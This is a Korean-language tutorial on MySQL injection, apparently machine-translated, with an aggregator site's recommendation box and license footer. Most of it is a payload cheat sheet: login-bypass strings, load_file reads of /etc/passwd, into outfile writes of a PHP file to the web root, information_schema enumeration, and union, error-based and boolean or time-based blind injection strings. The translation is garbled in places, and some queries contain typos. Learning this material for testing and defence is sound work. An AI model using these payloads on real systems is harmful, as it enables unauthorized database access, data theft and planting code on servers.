sql 주입 에 필요 한 기초 지식
SQL 주입식 공격 이란 공격 자가 SQL 명령 을 웹 폼 의 입력 영역 이나 페이지 에서 요청 한 조회 문자열 에 삽입 하여 서버 가 악의 적 인 SQL 명령 을 수행 하도록 속 이 는 것 이다.일부 폼 에서 사용자 가 입력 한 내용 은 동적 SQL 명령 을 구성 하거나 저장 과정의 입력 매개 변수 로 서 SQL 주입 식 공격 을 받 기 쉽다.
mysql 상용 주석
#
--[스페이스 바]혹은--+
/*…*/
주의 하 는 과정 에서 이 주석 들 은 모두 urlencode 를 진행 해 야 할 수도 있 습 니 다.
mysql 인증 우회
;%00
‘ or 1=1 #
‘ /*!or */ 1=1 --+
mysql 연결 부호
my sql 에서+를 사용 하여 연결 합 니 다.
select * from users where username='zhangsan' and "ab"="a"+"b";
my sql 에서 흔히 볼 수 있 는 함수sql 주입 과정 에서 my sql 에 내 장 된 함수 가 사 용 됩 니 다.내 장 된 함수 에 서 는 정 보 를 얻 는 함수 와 기능 함수 로 나 뉜 다.
정보 함 수 는 my sql 의 데이터 베 이 스 를 얻 는 데 사용 되 는 정보 이 고 기능 함 수 는 전통 적 인 함수 로 특정한 조작 을 완성 하 는 데 사용 된다.
자주 사용 하 는 정보 함수:
database()
,현재 사용 하고 있 는 데이터베이스 정 보 를 얻 는 데 사용 합 니 다.version():
데이터 베 이 스 를 되 돌려 주 는 버 전 은 @@version
과 같 습 니 다.user():
현재 사용자 에 게 돌아 갑 니 다.등가 는 current 와 같 습 니 다.user 인자.예:
select user(); #root@localhost
select current_user; #root@localhost
@@datadir
,데이터베이스 의 저장 위 치 를 가 져 옵 니 다.
select @@datadir; #D:\xampp\mysql\data\
일반적인 기능 함수:load_file():
컴퓨터 에서 파일 을 불 러 와 파일 의 데 이 터 를 읽 습 니 다.
select * from users union select 1,load_file('/etc/passwd'),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; # 16
into outfile:
파일 쓰기 권한 이 있 는 것 이 전제 입 니 다.
select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';
concat():
결 과 를 연결 매개 변수 로 만 든 문자열 로 되 돌려 줍 니 다.그 중 하나 가 null 이면 반환 값 은 null 입 니 다.용법 은 다음 과 같다.
select concat(username,password)from users;
*concat_ws()
:concat_ws()
의 특수 한 형식 으로 첫 번 째 매개 변 수 는 구분자 이 고 나머지 매개 변 수 는 필드 이름 입 니 다.
select concat_ws(',',username,password) from users;
group_concat()
:여러 기록 을 합 친 결과 입 니 다.용법 은 다음 과 같다.
select group_concat(username) from users;
# users , 。
subtring()
,substr():
은 문자열 을 자 르 는 데 사 용 됩 니 다.용법:substr(str,pos,length)
,주의 pos 는 1 부터 시작 합 니 다.
select substr((select database()),1,1);
ascii():
용법 은 문자 에 대응 하 는 ascii 값 을 되 돌려 줍 니 다.
select ascii('a'); #97
length():
문자열 의 길 이 를 되 돌려 줍 니 다.예:
select length("123456") # 6
is(exp1,exp2,exp2):
exp 1 의 표현 식 이 True 라면 exp 2 를 되 돌려 줍 니 다.그렇지 않 으 면 exp 3 로 돌아 갑 니 다.예:
select 1,2,if(1=1,3,-1) #1,2,3
selecrt 1,2,if(1=2,3,-1) #1,2,-1
이상 은 sql 주입 공정 에서 자주 사용 하 는 함수 입 니 다.물론 많은 함 수 를 사용 하지 않 는 함수 도 존재 한다.now():
현재 시스템 으로 돌아 가 는 시간hex():
문자열 의 16 진 을 되 돌려 줍 니 다.unhex():
역방향 hex()의 16 진법@@basedir():
역방향 my sql 설치 디 렉 터 리@@versin_compile_os:
운영 체제mysql 데이터베이스 메타 정보
mysql 에
information_schema
이 존재 하 는 것 은 정보 데이터베이스 입 니 다.이 데이터베이스 에 Mysql 서버 가 저장 한 모든 다른 데이터베이스 정보,예 를 들 어 데이터베이스 이름,데이터베이스 테이블,테이블 의 필드 이름 을 저장 합 니 다.접근 권한
informa_schema
에서 자주 사용 하 는 시 계 는 다음 과 같다.schemata:my sql 의 모든 데이터베이스 정 보 를 저장 하고 돌아 오 는 내용 은 show databases 의 결과 와 같 습 니 다.
tables:데이터베이스 에 있 는 표 의 정 보 를 저장 합 니 다.어떤 시계 가 어떤 schema,시계 유형,시계 엔진 에 속 하 는 지 상세 하 게 설명 했다.
show tables from secury 의 결 과 는 이 시계 에서 나 왔 습 니 다.
columns:표 의 모든 열 과 열 에 대한 정 보 를 상세 하 게 설명 합 니 다.
show columns from users 의 결 과 는 이 표 에서 나 왔 습 니 다.
다음은 위의 세 개의 표를 이용 하여 데이터베이스 정 보 를 얻 는 것 이다.
select database(); #
select schema_name from information_schema.schemata limit 0,1 #
select table_name from information_schema.tables where table_schema=database() limit 0,1; #
select column_name from information_schema.columns where table_name='users' limit 0,1; #
sql 주입 형식sql 주입 유형 은 크게 일반적인 sql 주입 과 sql 블라인드 로 나 눌 수 있 습 니 다.sql 맹 주 는 시간 에 기반 한 맹 주 와 웹 페이지 내용 에 기반 한 맹 주로 나 눌 수 있다.
sql 의 블라인드 에 대해 인터넷 에 도 많은 설명 이 있 는데 여기 서도 너무 많은 설명 을 하지 않 습 니 다.맹주 의 개념 에 대해 구체 적 인 예 가 있 으 면 설명 하기 쉽다.
지연 주입 에서 자주 사용 하 는 함 수 는
if()
과 sleep()
함 수 를 포함한다.기본 sql 표현 식 은 다음 과 같 습 니 다.
select * from users where id=1 and if(length(user())=14,sleep(3),1);
select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);
넓 은 바이트 주입넓 은 바이트 주입 에 대해 서 는 넓 은 바이트 주입 에 대한 상세 한 설명 을 참고 할 수 있 습 니 다.넓 은 바이트 입력 은 일반적으로 웹 페이지 인 코딩 이 데이터베이스 인 코딩 과 일치 하지 않 아서 생 긴 것 이다.넓 은 바이트 주입 에%d5 또는%df 를 사용 하여 돌아 갑 니 다.
my sql 상용 어구 총화
일반 주입
1' order by num #
1' union select 1,2,3 #
-1' union select 1,2,3 #
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata # mysql
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1
이중 SQL 체크
select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; # sql , sql 。
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #
# :
1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
이러한 이용 자 세 는 my sql 명령 을 수행 할 때 오류 보고 정 보 를 통 해 필요 한 정 보 를 얻 을 수 있 으 며,다음 글 에 서 는 이러한 표기 법 을 상세 하 게 분석 할 것 이다.bool 맹주
1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90
bool 블라인드 는 sql 구문 에 따라 반환 값 이 True 또는 False 에 대응 하 는 페이지 내용 이 발생 하여 정 보 를 얻 는 것 입 니 다.시간 맹 주
1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+
상술 한 두 가지 표기 법 은 모두 등가 이 며,time 블라인드 의 일반적인 sql 주입 방법 은 다르다.시간 맹 주 는 일반적으로 if()
과 sleep()
함 수 를 사용 해 야 한다.그리고 페이지 반환 내용 의 길이 에 따라 sleep()
함수 가 실행 되 었 는 지 알 수 있 습 니 다.sleep()
함수 의 실행 여부 에 따라 필요 한 정 보 를 얻 을 수 있 습 니 다.총결산
이상 은 sql 주입 에 필요 한 기초 지식 입 니 다.다음 글 은 사례 를 통 해 sql 주입 중의 지식 을 상세 하 게 설명 할 것 입 니 다.오늘 의 이 글 도 주로 기초 지식 입 니 다.sql 주입 에 관심 이 있 으 신 분 들 은 계속 지 켜 봐 주세요.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
깊이 중첩된 객체를 정확히 일치 검색 - PostgreSQL목차 * 🚀 * 🎯 * 🏁 * 🙏 JSON 객체 예시 따라서 우리의 현재 목표는 "고용주"사용자가 입력한 검색어(이 경우에는 '요리')를 얻고 이 용어와 정확히 일치하는 모든 사용자 프로필을 찾는 것입니다. 즐거운 ...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.